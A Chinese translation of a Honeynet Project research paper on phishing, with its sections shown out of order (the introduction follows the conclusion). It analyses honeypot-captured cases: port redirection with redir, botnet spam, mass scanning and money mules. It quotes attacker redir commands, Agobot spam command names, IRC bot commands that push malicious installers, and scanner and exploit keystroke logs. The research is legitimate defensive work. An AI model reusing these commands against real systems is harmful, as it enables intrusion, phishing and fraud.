从这两个案例中的数据表明钓鱼者是非常活跃并且具有组织性的,在多个被攻陷的主机中快速地移动,并且同时以多个著名的组织结构为目标。同时数据也显示许多电子邮件用户被引诱访问假冒组织机构(如在线银行和商务网站)的钓鱼网站,网络钓鱼攻击已经给广大的互联网用户带来了安全风险。
第二种网络钓鱼技术-通过端口重定向钓鱼
在 2004 年 11 越,德国蜜网项目组部署了包含一个 Redhat Linux 7.3 蜜罐的经典 第二代蜜网 。虽然安装的是相当旧的操作系统版本,攻击者也能够非常容易就能攻破,但它令人惊讶地经过了两个半月后才被首次成功攻陷-这和以上提及案例中讨论的蜜罐快速被攻陷的情况形成显著的反差。更多关于此趋势的信息可以在“了解你的敌人”系列文章中的“ 了解你的敌人:趋势分析 ”中可以找到。
在 2005 年 1 月 11 日 ,一个攻击者成功地攻陷了这台蜜罐,使用了针对 Redhat Linux 7.3 缺省安装存在的 OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability 的攻击脚本。此案例不寻常的是当攻击者获得被攻陷主机的访问权后,他并没有直接上传钓鱼网站内容。取而代之的是,攻击者在蜜罐上安装并配置了一个端口重定向服务。
这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器,这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具,此工具是一个能够透明地将连入的 TCP 连接转发到一个远程的目标主机的端口 重定向器。在此次案例中,攻击者配置该工具将所有到蜜罐 TCP 80 端口( HTTP )的流量重定向到一个位于 中国 的远程网站服务器的 TCP 80 端口。有意思的是,攻击者并没有在蜜罐上安装 Rootkit 以隐藏他的存在,这也说明攻击者并没有把被攻陷的主机的价值看的很重,同时并不担心被检测到。
攻击者使用的建立端口重定向的指令如下:
redir --lport=80 --laddr=<IP address of honeypot> --cport=80 --caddr=221.4.XXX.XXX
另外,攻击者修改了 Linux 系统的启动脚本文件 /etc/rc.d/rc.local 从而保证 redir 端口重定向服务在蜜罐系统重新启动后也会被重新启动,提高了他们的端口重定向服务的生存能力。然后他们开始往外发送钓鱼垃圾邮件以引诱受害者访问此蜜罐,一个示例可以在 此 找到。(注意相关的敏感信息已经被混淆了)。
为了进一步调查攻击者的活动,德国蜜网项目组的成员们干涉并偷偷摸摸修改了攻击者在蜜罐上安装的 redire 工具的配置,使其在 redir 程序内进行日志,使得更容易地观察到多少人接收到此垃圾邮件信息,并点击了其中的链接透明地访问重定向后的钓鱼网站内容。在将近 36 小时的时间段内, 721 个 IP 地址被 redir 重定向到钓鱼网站,我们又一次对这么多用户被发布的钓鱼邮件所引诱访问钓鱼网站内容而感到震惊。对访问端口重定向器的 IP 地址的分析可以在 这 找到(注意这些信息已经被清洁过,以保护访问钓鱼网站的用户,同时在我们的研究中仅记录了 IP 地址数据,任何机密性的用户数据没有被捕获)。
本次攻击案例的一个概要时间线如下表所示:
日期 / 时间
事件
2004 年 11 月 1 日
蜜罐受到首次扫描
2005 年 1 月 11 日 19:13
蜜罐上的 OpenSSL 服务被攻陷,端口重定向器被安装, 钓鱼垃圾邮件 被发送。
2005 年 1 月 11 日 20:07
对钓鱼网站内容的 网页请求 开始到达蜜罐。
2005 年 1 月 13 日 8:15
蜜罐被离线进行取证分析。
第三种网络钓鱼技术-通过僵尸网络进行钓鱼
蜜网项目组最近发布的一篇文章“ 了解你的敌人:跟踪 僵尸网络 ”介绍了一种追踪僵尸网络的方法。一个僵尸网络是由可被攻击者远程控制的被攻陷主机所构成的网络。由于他们的巨大数量(可以有成千上万的主机一起连接),当僵尸网络被用以分布式拒绝服务攻击时,可以对互联网社区构成巨大的威胁。在 2004 年 10 月的一次调查中,电子邮件安全公司 CipherTrust 得出了 70% 监视到的钓鱼垃圾邮件是从 5 个活跃的僵尸网络中的 1 个所发出的,但是我们的观察显示有更多的僵尸网络已经被用来进行发送垃圾邮件。尽管还没有一个显著的实际案例分析,在本节中我们还是给出了我们对可被攻击者以僵尸网络的方式进行网络钓鱼攻击的工具和技术的观察结果。
案例时间表
在从 2004 年 9 月到 2005 年 1 月的这段时期中,德国蜜网项目组部署了一系列安装未打补丁的微软 Windows 操作系统的蜜罐,以观察僵尸网络活动。我们开发了一个自动化部署的过程,使得蜜罐可以被重复性地部署,攻陷及离线分析。在此期间,超过 100 个不同的僵尸网络被发现,以及上千的文件被获取用以离线分析。
分析
一些在此研究项目中捕获的僵尸工具提供了在被攻陷主机上远程启动一个 SOCKS v4/v5 代理的能力。 SOCKS 为基于 TCP /IP 的网络应用程序提供了一种通用化的代理机制( RFC 1928 ),可以被用来代理最普遍的互联网流量,如 HTTP 和 SMTP 等。如果攻击者能够成功地通过僵尸网络的控制使得各个远程傀儡主机上都开放 SOCKS 代理服务功能,那么该主机可以被用来发送大量的垃圾邮件,如果僵尸网络中包含成千上万的傀儡主机,那么攻击者可以轻易地发送巨大数量的垃圾邮件,而这些垃圾邮件的发送源头却是覆盖巨大 IP 地址范围的属于一些无戒备心用户的家庭 PC 机。
不存在集中的控制点,以及其范围超出了国界使得很难对僵尸网络的活动进行追踪和阻断。这也使得僵尸网络为垃圾邮件发布者和钓鱼者提供了一种低风险的、但高回报的攻击方法。或许不会令人惊讶,富有傀儡资源的僵尸网络拥有者已经开始以犯罪为目标,并且目前也已经出现 租借 僵尸网络 的现象。为了赚取租金,僵尸网络的操作者将会给他的客户提供一个支持 SOCKS v4 的服务器 IP 地址和端口。已经有报道显示僵尸网络被出售给垃圾邮件发布者作为垃圾邮件的转发服务器。 " Uncovered: Trojans as Spam Robots ". 一些捕获的僵尸工具也实现了能够获取 Email 地址,或者通过傀儡主机发送垃圾邮件的特殊功能。下面的列表显示了一些在 Agobot (一个被攻击者非常普遍使用的僵尸工具,其变种也经常在我们的研究过程中被捕获)中实现的与垃圾邮件 / 钓鱼邮件相关的指令:
harvest.emails – 使得僵尸工具获得一个 Email 地址列表
harvest.emailshttp – 使得僵尸工具通过 HTTP 获得一个 Email 地址列表
spam .setlist – 下载一个 Email 地址列表
spam .settemplate – 下载一个 Email 模板
spam .start – 开始发送垃圾邮件
spam .stop – 停止发送垃圾邮件
aol spam .setlist - AOL - 下载一个 Email 地址列表
aolspam.settemplate - AOL - 下载一个 Email 模板
aol spam .setuser - AOL – 设置用户名
aol spam .setpass - AOL -设置口令
aol spam .start - "AOL - 开始发送垃圾邮件
aol spam .stop - "AOL - 停止发送垃圾邮件
关于这些指令实现的进一步信息,可以在 这 找到,以僵尸工具源码的注释形式给出。在 drone -一个由德国蜜网项目组开发的自定制 IRC 客户端的帮助下,通过利用我们的蜜网所捕获的网络连接数据将 drone 混入僵尸网络中,我们可以对僵尸网络如何被用以进行发送垃圾邮件 / 钓鱼邮件进行更深入的了解。以下将给出一些观察到的典型活动案例。
实例 1
在一个特定的僵尸网络中,我们观察到攻击者发出了以下指令(注意 URL 都已经被混淆了):
<St0n3y> .mm http://www.example.com/email/fetch.php? 4a 005aec5d7dbe3b 01c 75aab2b 1c 9991 http://www.foobar.net/pay.html Joe did_u_send_me_this
.mm (mass emailing) 指令是一个一般化的 spam_start 指令的定制版本。这个指令接收以下 4 个参数:
一个包含多个 Email 地址文件的 URL
包含在垃圾邮件中的目标网站地址链接-这个网站可能是一个普遍的垃圾网页,也可能是一个钓鱼网站
发送者的名字
邮件的主题
在本次攻击案例中,每次调用 fetch.php 脚本会返回 30 个不同的 Email 地址。对于每个收信者,将会构造一个 Email 邮件,将宣传指令中第二个参数给出的链接。在这个实例中,第二个参数的链接指向了一个企图在受害者主机上安装一个恶意 ActiveX 组件的网页。
实例 2
在另一个僵尸网络中,我们观察到在受害者 PC 上安装浏览器助手组件的攻击方式:
[TOPIC] # spam 9 :.open http://amateur.example.com/l33tag3/beta.html -s
.open 指令告诉每个僵尸工具打开所申请的网页并显示给受害者,在这个案例中,这个网页中包含一个浏览器助手组件,企图在受害者主机上安装自身。从这个 IRC 频道的名称可以显示出,这个僵尸网络也是用以发送垃圾邮件的。
实例 3
在另外一个僵尸网络上,我们观察到 spyware 传播的实例:
http://public.example.com/prompt.php?h=6d799fbeef 3a 9b 386587f 5f 7b 37f [...]
这个链接在对捕获到的恶意软件的分析中获得,它将受害者指向了一个提供“免费的广告传播软件”的公司的网页,这个网站包含了在企图访问客户端上安装 ActiveX 组件(推测是 adware 或 spyware )的多个页面。
普遍的攻击旋律
在我们对网络钓鱼攻击的研究过程中发现了一些普遍的攻击旋律,攻击者显然在混合使用一些工具和技术来提高他们成功的机会。我们现在开始分析两种这样的技术-批量扫描和组合式攻击。
批量扫描
通过对一些被攻陷蜜罐的分析表明,系统是自动化的攻击脚本所攻陷,这些自动化攻击脚本通常被称为 autorooters 。在上面描述的两个案例中,一旦攻击者攻陷了蜜罐, autorooter 的 toolkits 就被上传到服务器上,然后攻击者就开始尝试扫描一些 IP 地址空间段来寻找其他同样存在漏洞的服务器(在德国案例中使用的称为 superwu 的扫描器,而在英国案例中使用了 mole 扫描器 )。在英国案例中捕获的攻击者键击记录如下所示,显示了从被攻陷的蜜罐发起的批量扫描的实例。注意由于蜜网配置,这些往外的恶意流量会被阻断,从而这些攻击不会成功。
攻击者解压缩扫描器,并尝试扫描 B 类地址空间段:
[2004-07-18 15:23:31 bash 0]tar zxvf mole.tgz
[2004-07-18 15:23:33 bash 0]cd mole
[2004-07-18 15:23:38 bash 0]./mazz 63.2
[2004-07-18 15:24:04 bash 0]./mazz 207.55
[2004-07-18 15:25:13 bash 0]./scan 80.82
攻击者尝试攻击潜在的有漏洞的服务器:
[2004-07-19 11:56:46 bash 0]cd mole
[2004-07-19 11:56:50 bash 0]./root -b 0 -v ns1.victim.net
[2004-07-19 11:57:26 bash 0]./root -b 0 -v 66.90.NNN.NNNs
攻击者在一段时间后回来查看已经成功攻陷的服务器列表(这个列表是空的,由于蜜网的配置):
[2004-07-23 08:13:18 bash 0]cd mole
[2004-07-23 08:13:20 bash 0]ls
[2004-07-23 08:13:25 bash 0]cat hacked.servers
攻击者尝试扫描更多的 B 类地址空间段,并随后测试对选择目标进行攻击:
[2004-07-24 10:24:17 bash 0]cd mole
[2004-07-24 10:24:19 bash 0]./scan 140.130
[2004-07-24 10:24:27 bash 0]./scan 166.80
[2004-07-24 10:25:36 bash 0]./scan 166.4
[2004-07-24 10:26:23 bash 0]./scan 139.93
[2004-07-24 10:27:18 bash 0]./scan 133.200
[2004-07-24 10:36:37 bash 0]./try 202.98.XXX.XXX
[2004-07-24 10:38:17 bash 0]./try 202.98.YYY.YYY
[2004-07-24 10:38:27 bash 0]./try 202.98.YYY.YYY
在上述最后一个例子中,注意攻击者尝试攻陷的几个主机并不在从这个蜜罐扫描的 IP 地址范围内,这又一次提供了批量扫描行为的高协同性和并行性。
对英国攻击者下载的 mole .tgz 文件的进一步调查揭示了在解压后的 aotorooter toolkit 的根目录中有一些 text 文件。这些文件包括扫描配置信息和之前扫描“ grabbb2.x and samba 2.2.8 vulnerability ”的扫描结果日志。在这些文件中还包含 42 个针对其他主机的攻击案例,以及针对多个 B 类地址空间扫描的结果,从而证明了观察到的攻击案例是一个更大的更具组织性的针对类似系统的攻击中的一部分。一个从攻击者的角度查看的 mole 扫描工具的输出结果的实例,可以在 这 找到。
最后,一些从攻陷蜜罐上发现的批量扫描工具看起来并没有广泛地传播,这也显示了这些攻击者拥有超越基本的脚本小子的一定水平的开发能力和工具制造能力,或者是一个并没有将他们的工具共享给公开论坛的封闭社团的成员。又一次,这显示了具有良好组织性的攻击者的能力。
组合式攻击
在我们的研究中,我们也发现了钓鱼者经常组合三种不同的攻击技术。正如我们观察到,并在本文所描述的,一些时候多种方法将提供一些冗余性,并通过一个两层的网络拓扑配置保护他们的网络钓鱼攻击基础设置。下图描述了一种可能的网络钓鱼攻击拓扑结构:
在这个实例中,一个中央的网站服务器架设了物理上的钓鱼网站内容,通常包含针对多个目标机构的多个网站(如在 /ebay 目录下有 一个 eBay 钓鱼网站,在 .paypal 目录下有一个 PayPal 钓鱼网站 )。一些被攻陷的远程主机在 redir 端口重定向器的帮助下将连入 TCP 80 端口的 HTTP 流量重定向到中央的网站服务器。这种方案从攻击者的角度看来比一个单一的钓鱼网站拥有以下的一些优势:
如果一台远程的 redir 主机被检测到了,那么受害者将把这个系统离线并重新安装,但这并不会对钓鱼者构成很大的损失,因为主钓鱼网站仍然在线,而且其他的 redir 主机仍然可以将 HTTP 流量转发到中央网站服务器。
如果中央的钓鱼网站服务器被检测到,这个系统将被离线,但钓鱼者可以在一台新攻陷的主机上重新架设钓鱼网站,并重新矫正原先的 redir 主机重定向流量到代替的中央网站服务器。使用这种技术,整个网络可以很快地重新恢复可用,网络钓鱼攻击可以快速地重新开始。
一台 redir 主机可以非常灵活,因为它可以通过非常简单地重新配置指向另外一个钓鱼网站。这也减少了从初始的系统攻陷到钓鱼网站可用的这段时间,从而增加了网络钓鱼攻击可以进行的时间长度。
使用这样的组合攻击技术又一次验证了攻击者的高组织性和能力,而不仅仅是简单的脚本小子。类似的运行模型也经常被主流的网站服务提供商和超大容量数据内容提供商(如 Google )所运用。
进一步的发现:资金转账
我们的研究同时也关注钓鱼者如何使用捕获的银行账号信息(如一个与相关的交易代号联系在一起的银行账号)。因为大多数银行都对跨国的资金流通进行监控,钓鱼者并不能简单地不引起金融权威机构注意下,从一个国家转移一大笔资金到另外一个国家。钓鱼者于是使用一些中介来为他们转移资金-以两阶段的步骤,钓鱼者先从受害者银行账号中把钱转移到一个同国中介人的银行账号中,中介人然后从他们的银行账号中提出现金(留下一定百分比作为他们的提供此转账服务的报酬)并寄给钓鱼者,如通过普通的地面信件。当然,这些中介人可能被捕,但是由于钓鱼者的钱已经在传输途中,他们并不会面对太大的安全风险,同时也可以很容易地转移他们的资金流通渠道到另外的中介人。一个可以说明在网络钓鱼攻击背后的金融结构的电子邮件实例如下:
Hello!
We finding Europe persons, who can Send/Receive bank wires
from our sellings, from our European clients. To not pay
TAXES from international transfers in Russia . We offer 10%
percent from amount u receive and pay all fees, for sending
funds back.Amount from 1000 euro per day. All this activity
are legal in Europe .
Fill this form: http://XXX.info/index.php (before filling
install yahoo! messenger please or msn), you will recieve
full details very quickly.
_________________________________________________________
Wir, europ?ische Personen findend, die Bankleitungen
davon Senden/erhalten k?nnen unsere Verk?ufe, von
unseren Kunden von Deutschland. STEUERN von internationalen
übertragungen in Russland nicht zu bezahlen. Wir
erh?lt das Prozent des Angebots 10 % vom Betrag und
bezahlt alle Schulgelder, um Kapital zurück zu senden.
Betrag von 1000 Euro pro Tag. Diese ganze T?tigkeit
ist in Europa gesetzlich.
Füllen Sie diese Form: http://XXX.info/index.php (bevor
die Füllung Yahoo installiert! Bote bitte oder msn), Sie
recieve volle Details sehr.
Thank you, FINANCIE LTD.
这是一封从英文到德文的非常烂的翻译稿,可能是通过翻译软件自动产生的,这也说明攻击者并不是以英语为母语的。因为钱将会被转移到俄罗斯,所以攻击者很可能来自这个国家。资金转移行为也正随着网络钓鱼攻击越来越具组织性变得越来越普遍。
Honeysnap – 一个攻击案例分析助手
一个从我们开始分析被上述网络钓鱼攻击攻陷的蜜罐数据时立即得到的一个结论是:由于不同黑客组织同时进行的多个攻击,我们需要非常多的时间从网络的流量中去抽取和准备用于进一步详细分析的数据。这个数据抽取过程是重复性的且枯燥乏味的,如果由人工进行将会使得我们宝贵的分析时间的效率大打折扣。因此需要一个自动化的解决方案。
由英国蜜罐项目组 David Watson 编写的 honeysnap 脚本正是基于此目的,被设计用来对蜜网日常捕获的数据为输入产生出一个简单的摘要输出,用于指导进一步的人工分析。 honeysnap 脚本对每个蜜罐的数据进行分类,提供了连出的 HTTP 和 FTP GETs 请求、 IRC 消息和 Sebek 键击记录日志列表功能,对关键网络连接能够进行自动化的 TCP 流重组,并抽取、标识和存储由 FTP 或 HTTP 下载的文件, honeysnap 脚本使得大多数消耗大量时间的攻击案例准备性工作都被移除,使得分析员能够集中精力人工地分析案例中的关键部分。 honeysnap 脚本还支持一个自动化的方法对包含感兴趣的关键字(如银行、账号、口令等)的 IRC 通讯进行显示,并提供日常性的 Email 报告功能。
目前的 honeysnap 脚本的一个基本的概念证明性的 UNIX shell 脚本,其 alpha 版可以在此找到,同时一组 honeysnap 输出 示例可以在此找到。一个模块化的并完全扩展的以 Python 编写的版本目前正在由蜜网项目组的成员开发中,并将与 2005 年 6 月发布 beta 测试版。
进一步的研究
在本文给出的信息给出了在网络钓鱼攻击领域进行进一步研究的一些潜在方法,我们同时建议在以下的一些方面进行更深入的调查和研究:
我们希望能够调查蜜罐技术能否被用于帮助与垃圾邮件发送者和钓鱼者进行对抗。一个可能的研究项目是部署一些在上述观察到的网络钓鱼攻击中所通常使用类型的蜜罐,或是一些对垃圾邮件发送者具有很强的吸引力的蜜罐( 如 SMTP open relays ),对攻击者对这些系统的攻击行为进行进一步的分析,能够帮助我们更深入地对网络钓鱼攻击进行剖析,特别是使用僵尸网络进行网络钓鱼这一领域,并能够对网络钓鱼攻击的创新进行跟踪。另外一个研究的可能性是进一步发展蜜罐的概念,研究客户端蜜罐技术,这种新一代的蜜罐工具能更活跃地参与到通讯网络中,例如,自动地随着垃圾邮件中的链接去访问目标网站内容。客户端蜜罐工具可以在 IRC 频道中发呆或通过 P2P 网络共享 / 下载文件,从而进一步地提高我们对这些通讯网络中所面临地安全威胁的了解。
另外,我们期望能够对对付和阻止这些网络钓鱼攻击的潜在方法进行深入研究。因为从一个网络钓鱼攻击的开始到结束的时间周期可能只有几个小时或几天,同时攻击源也可能广泛地分布,所以这将是一个困难的任务。目前在此领域研究的工作(如 The AntiPhishing Group 和 PhishReport )关注于依靠终端用户收集钓鱼邮件。虽然这是个可行的途径,但它只能在网络钓鱼攻击生命周期的最后阶段进行发现。 我们更需要 一个自动化地对网络钓鱼攻击捕获和响应的机制。
我们怀疑这些账号和口令在黑客界会被进行交易流通,可能通过 IRC 。蜜网技术可以被用来捕获这些通讯,并更深入地了解网络钓鱼攻击行为。另外,网络钓鱼攻击工具经常可以从一些经常更新地中央网站服务器或 FTP 服务器上下载获得。尽管充满争议,但对这些活动可以进行监控或联系系统拥有者以帮助他阻止这些网络钓鱼攻击,同时我们应该建立一个体系框架,从而对这些活动进行研究,并提出潜在的对策。
需要在提高案例分析的自动化进行进一步的研究工作,特别是对在这些攻击过程中捕获数据的自动轮廓生成。自动的流量和 IP 地址抽取, DNS 反向查询和 IP 地址块拥有者查询,针对每个 IP 地址或每个域名的流量摘要,以及被动的操作系统指纹辨识等功能在分析大规模的数据集时是非常有用的,在分析一个本地的包括已知主机、攻击者、攻击特征、消息内容等的取证数据库也是同样关键。在一个长期的规划中,需要建立共享这些信息的统一标准,以及一个全球的取证分析数据库从而支持对分布式的黑客活动进行分析,这也将是对整个互联网社区所高度需要和有显著意义的。
结论
在本文中我们展示了一些真实世界发生的网络钓鱼攻击的实际案例,以及在这些案例中攻击者进行的典型的行为。所有这些提供的信息都是使用高交互性的研究型蜜罐所捕获的,这又一次证明了蜜网技术在信息保障和取证分析领域里是一个强有力的工具。我们分析了攻击由德国和英国蜜网研究项目组部署的蜜罐的几次攻击。在两个案例中,钓鱼者攻击并攻陷了蜜罐系统,在攻陷主机后他们的动作开始有所差异。如下的网络钓鱼攻击各阶段的攻击技术被发现:
以著名的一些组织结构为目标,架设其钓鱼网站
发送欺骗性垃圾邮件,引诱受害者访问钓鱼网站
安装重定向服务,将网站流量都转发到已架设的钓鱼网站
通过僵尸网络传播垃圾邮件和钓鱼邮件
这些数据帮助我们了解钓鱼者的典型攻击行为和他们用来引诱和欺骗受害者的一些方法。我们已经学习到网络钓鱼攻击可以非常快地发生,在最初的系统入侵到一个钓鱼网站在线,并发出宣扬此网站的钓鱼垃圾邮件只有相当有限的时间,而这么快的攻击速度使得这些攻击者很难被追踪和阻止。
我们的研究同时显示网络钓鱼攻击正在变得越来越普遍而且具有良好的组织性。我们已经观察到针对主要的几个在线组织机构的预先构建的钓鱼网站的归档,这使得钓鱼者可以在很短的时间内准备好进行钓鱼攻击,这也说明了背后隐藏着一个组织良好的钓鱼攻击团体。这些钓鱼内容可以通过利用端口重定向器或僵尸网络快速地进一步扩散。与批量扫描的证据和钓鱼网站内容中手动形式加入的 IP 地址,我们可以相信在一个时刻会有多个特定钓鱼网站的实例同时存在,在上传的钓鱼网站构建完成之前,到达这个刚被攻陷的服务器的网页浏览流量就已经被发现,而且在某个被攻陷主机上发出的钓鱼垃圾邮件也有可能并不是在引诱受害者访问发送邮件的这台主机,这些现象都说明有良好组织性的钓鱼团队在进行分布式和并行的钓鱼攻击。
我们的研究工作显示了垃圾邮件、僵尸网络和网络钓鱼攻击之间一个清晰的连接关系,以及利用中介来完成最后的隐蔽性资金转账。这些观察到的现象,结合大规模的批量漏洞扫描和两层拓扑结构的钓鱼网络,都证明了钓鱼者所带来的真实威胁,钓鱼活动的组织严密性,以及他们所使用的相当高级的攻击技术。随着钓鱼攻击的技术门槛进一步增高及潜在的回报进一步增加,在未来几年中,网络钓鱼攻击的技术很可能进一步地发展,并且网络钓鱼攻击的数量也将进一步增长。减少可被僵尸网络控制的有漏洞的 PC 机,抑制数量不断增多的垃圾邮件,防止有组织性的犯罪活动,并且教育互联网用户关注来自社交工程的潜在安全风险,所有这些都还充满了挑战。
在网络钓鱼攻击的幕后
蜜网项目组 & 蜜网研究联盟
http://www.honeynet.org
最后修改日期: 2005 年 5 月 16 日
翻译者artemis:诸葛建伟
网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力,因为这些信息使得他们可以假冒受害者进行欺诈性金融交易,从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取并用于犯罪的目的。这篇“了解你的敌人”文章旨在基于 德国蜜网项目组 和 英国蜜网项目组 所搜集到的攻击数据给出网络钓鱼攻击的一些实际案例分析。这篇文章关注于由蜜网项目组在实际环境中发现的真实存在的网络钓鱼攻击案例,但不会覆盖所有可能存在的网络钓鱼攻击方法和技术。攻击者也在不断地进行技术创新和发展,目前也应该有(本文未提及的)新的网络钓鱼技术已经在开发中,甚至使用中。
在给出一个简要的引言和背景介绍后,我们将回顾钓鱼者实际使用的技术和工具,给出使用蜜网技术捕获真实世界中的网络钓鱼攻击的三个实验型研究的案例。这些攻击案例将详细地进行描述,包括系统入侵、钓鱼网站架设、消息传播和数据收集等阶段。随后,将对其中普遍应用的技术及网络钓鱼、垃圾邮件和僵尸网络等技术进行融合的趋势给出分析。钓鱼者使用恶意软件进行自动化地 Email 地址收集和垃圾邮件发送的案例也将被回顾,同时我们也将展示我们在网络扫描技术及被攻陷主机如何被用于传播钓鱼邮件和其他垃圾邮件上的发现。最后,我们对本文给出结论,包括我们在最近 6 个月内获得的经验,以及我们建议的进一步研究的客体。
这篇文章包括了丰富的支持性信息,提供了包含特定的网络钓鱼攻击案例更详细数据的链接。最后声明一下,在研究过程中,我们没有收集任何机密性的个人数据。在一些案例中,我们与被涉及网络钓鱼攻击的组织进行了直接联系,或者将这些攻击相关的数据转交给当地的应急响应组织。
引言
欺骗别人给出口令或其他敏感信息的方法在黑客界已经有一个悠久的历史。传统上,这种行为一般以社交工程的方式进行。在二十世纪九十年代,随着互联网所连接的主机系统和用户量的飞速增长,攻击者开始将这个过程自动化,从而攻击数量巨大的互联网用户群体。最早系统性地对这种攻击行为进行的研究工作在 1998 年由 Gordon 和 Chess 发表。( Sarah Gordon, David M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet , presented at the Virus Bulletin Conference in Munich, Germany, October 1998 ) Gordon 和 Chess 研究针对 AOL (美国在线)的恶意软件,但实际上他们面对的是网络钓鱼的企图而不是他们所期望的特洛伊木马攻击。网络钓鱼 (Phishing) 这个词 (password harvesting fishing) 描述了通过欺骗手段获取敏感个人信息如口令、信用卡详细信息等的攻击方式,而欺骗手段一般是假冒成确实需要这些信息的可信方。 Gordon 和 Chess 描述的一个钓鱼信件如下所示:
Sector 4G 9E of our data base has lost all I/O functions. When your account
logged onto our system, we were temporarily able to verify it as a
registered user. Approximately 94 seconds ago, your verification was made
void by loss of data in the Sector 4G 9E. Now, due to AOL verification
protocol, it is mandatory for us to re-verify you. Please click 'Respond' and
re-state your password. Failure to comply will result in immediate account
deletion.
早期的网络钓鱼攻击主要目的是获得受害者的 AOL 账号的访问权,偶尔也期望获取信用卡数据以用于欺诈目的 ( 如非法买卖这些信息 ) 。这些钓鱼的信件通常包含一个简单的诡计从而哄骗一些“菜鸟”用户,这些欺骗手段很大程度依赖于受害者对“自动化的”系统功能或权威机构的(表面)轮廓的先天性信任,前面的例子中给出一个硬件设备故障或数据库毁坏的情节,大部分的普通用户将会重视任何看起来正式的、或看起来向是为他们提供帮助的紧急的技术上的要求,用户通常会被催促尽快输入其敏感信息从而避免严重后果,如“ … 重新输入你的口令,如未及时输入则将导致直接删除账号”。为了避免可能潜在的严重的后果,受害者通常立即照做,从而不知不觉地将这些使用此社交工程手段的黑客所需要的敏感数据提供给了他们。事后的证据表明这些黑客都是单独行动,或是以一个小而简单的组织形式活动。一些文献也描述了早期的网络钓鱼者大多是一些期望获得更多账号数据去恶作剧及打长途电话的青少年,通常没有很强的组织性和蓄意性。
现在,钓鱼者所首选的策略是通过大量散发诱骗邮件,冒充成一个可信的组织机构(通常是那些钓鱼者所期望的已经被受害者所信任的机构),去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求,而具有讽刺意义的是通常其理由是保护用户的机密性数据免受恶意活动的侵害,这封欺骗性的电子邮件将会包含一个容易混淆的链接,指向一个假冒目标机构公开网站的远程网页。钓鱼者希望受害者能够被欺骗,从而向这个假的、但看起来是目标机构的“官方”网站的网页接口输入他们的机密信息。被钓鱼者所青睐的目标机构包括很多著名的银行,信用卡公司和涉及日常性支付行为的知名互联网商务网站(如 eBay 和 Paypal 等 )。大量针对互联网用户的钓鱼邮件的实例可以在反网络钓鱼工作组 ( Anti-Phishing Working Group ) 的网站上 的 钓鱼邮件归档 中 可以获得,其中许多邮件都显示了钓鱼者可以欺骗无知的用户相信他们正在访问一个合法的网页接口的极高精确性。
在这个简要介绍网络钓鱼概念的引言之后,我们将开始回顾在我们观察到的真实网络钓鱼攻击中所实际使用的技术和工具。如果你对网络钓鱼的更深入的背景知识感兴趣,我们为你准备了 具体的背景信息 这个页面。
工具和策略
网络钓鱼攻击一般仅利用一些简单的工具和技术来欺骗无戒备心的用户。支撑一次网络钓鱼攻击的底层基础设施可以是最基本的简单地拷贝一个 HTML 页面,上传到一个刚刚攻陷的网站服务器,以及一个服务器端的用来处理用户输入数据的脚本,也可能涉及更为复杂的网站及内容重定向,但他们的底层目标是一致的——架设一个假冒可信机构的网站,并部署一些必需的后台脚本处理用户的输入数据并让攻击者获取。使用最新的 HTML 编辑工具可以非常容易地构建出模仿目标组织机构的网站,同时如果攻击者不介意扫描互联网 IP 地址空间以寻找潜在的有漏洞的主机,缺乏有效的安全防护的网站服务器也能够非常容易地找到并被攻陷。一旦被攻陷,即使是家庭用的 PC 主机都可以作为钓鱼网站的宿主主机,所以钓鱼者的攻击目标不仅仅是知名的企业和学院里的系统。攻击者经常不分青红皂白地去选择他们的目标主机,而仅仅是在一个大的 IP 地址空间中随机地扫描,寻找可被利用的特定的安全漏洞。
一旦钓鱼者建立起一个模仿可信机构的真实且能够让人信以为真的假冒网站后,对他们的重要挑战是如何将用户从一个合法的网站转移到访问他们所架设的假冒网站。除非钓鱼者有能力去改变目标网站的 DNS 解析(称为 DNS 中毒攻击 )或采取其他方式对网络流量进行重定向(称为 pharming 的一种技术 ),他们必须依赖某种形式的内容上的欺骗技巧,去引诱不幸的用户去访问假冒的网站。欺骗技巧的质量越高,他们所撒的渔网就越宽,一个无知的用户错误地访问这个假冒网站(并提供给钓鱼者他的机密信息和私人数据)的机会就越大。
对攻击者不幸的是,当他们假冒一个组织结构(如一个银行或可信的商务网站),钓鱼者通常没有任何互联网上哪些用户属于他们的客户此类信息,也就不知道哪些用户最容易上钩。即使钓鱼者可以将指向假冒网站的链接发布到与目标机构相关的一些聊天室或论坛上(如一个技术支持网站或网络社区谈论组),目标机构很可能比较迅速地被通知并做出反应,这个链接也会在很多受害者访问它所指向的内容并提交他们的个人信息前被清除。同时对钓鱼者也存在一个显著的风险,目标机构或法律执行部门可能会追踪并关闭这些假冒的网站。因此,钓鱼者需要一个方法,能够在尽量减少他们所承担的风险的同时,在短时间内欺骗尽可能多的潜在受害群体,他们找到了理想的犯罪搭档——垃圾邮件。
垃圾邮件发送者拥有包括几百万使用中电子邮件地址的数据库,因此最新的垃圾邮件群发技术可以用来帮助一个钓鱼者低风险广泛地发布他们的诱骗邮件。垃圾邮件通常通过一些被攻陷的架设在境外主机上的邮件服务器,或是通过一个全球的傀儡主机网络 ( botnets ) 进行发送,因此邮件发送者被追踪的可能性将会很小。如果一个无戒备心的用户收到一封看起来像是由他们的银行所发来的,带有银行正式标志的电子邮件,要求他们访问一个看起来与银行官方网站一摸一样的网站并由于安全理由更改他们在线的银行口令,这比起那些介绍新奇产品并链接到未知网站的普通垃圾邮件来更可能使得用户上当。为了增加用户相信这个邮件是真实的可能性,钓鱼者会应用一些另外的技术来进一步提高他们所进行的诱捕手段的质量:
在指向假冒网站的链接中使用 IP 地址代替域名。一些无戒备心的用户将不会检查(或不知道如何检查)这个 IP 地址是否来自假冒网站页面上所声称的目标机构。
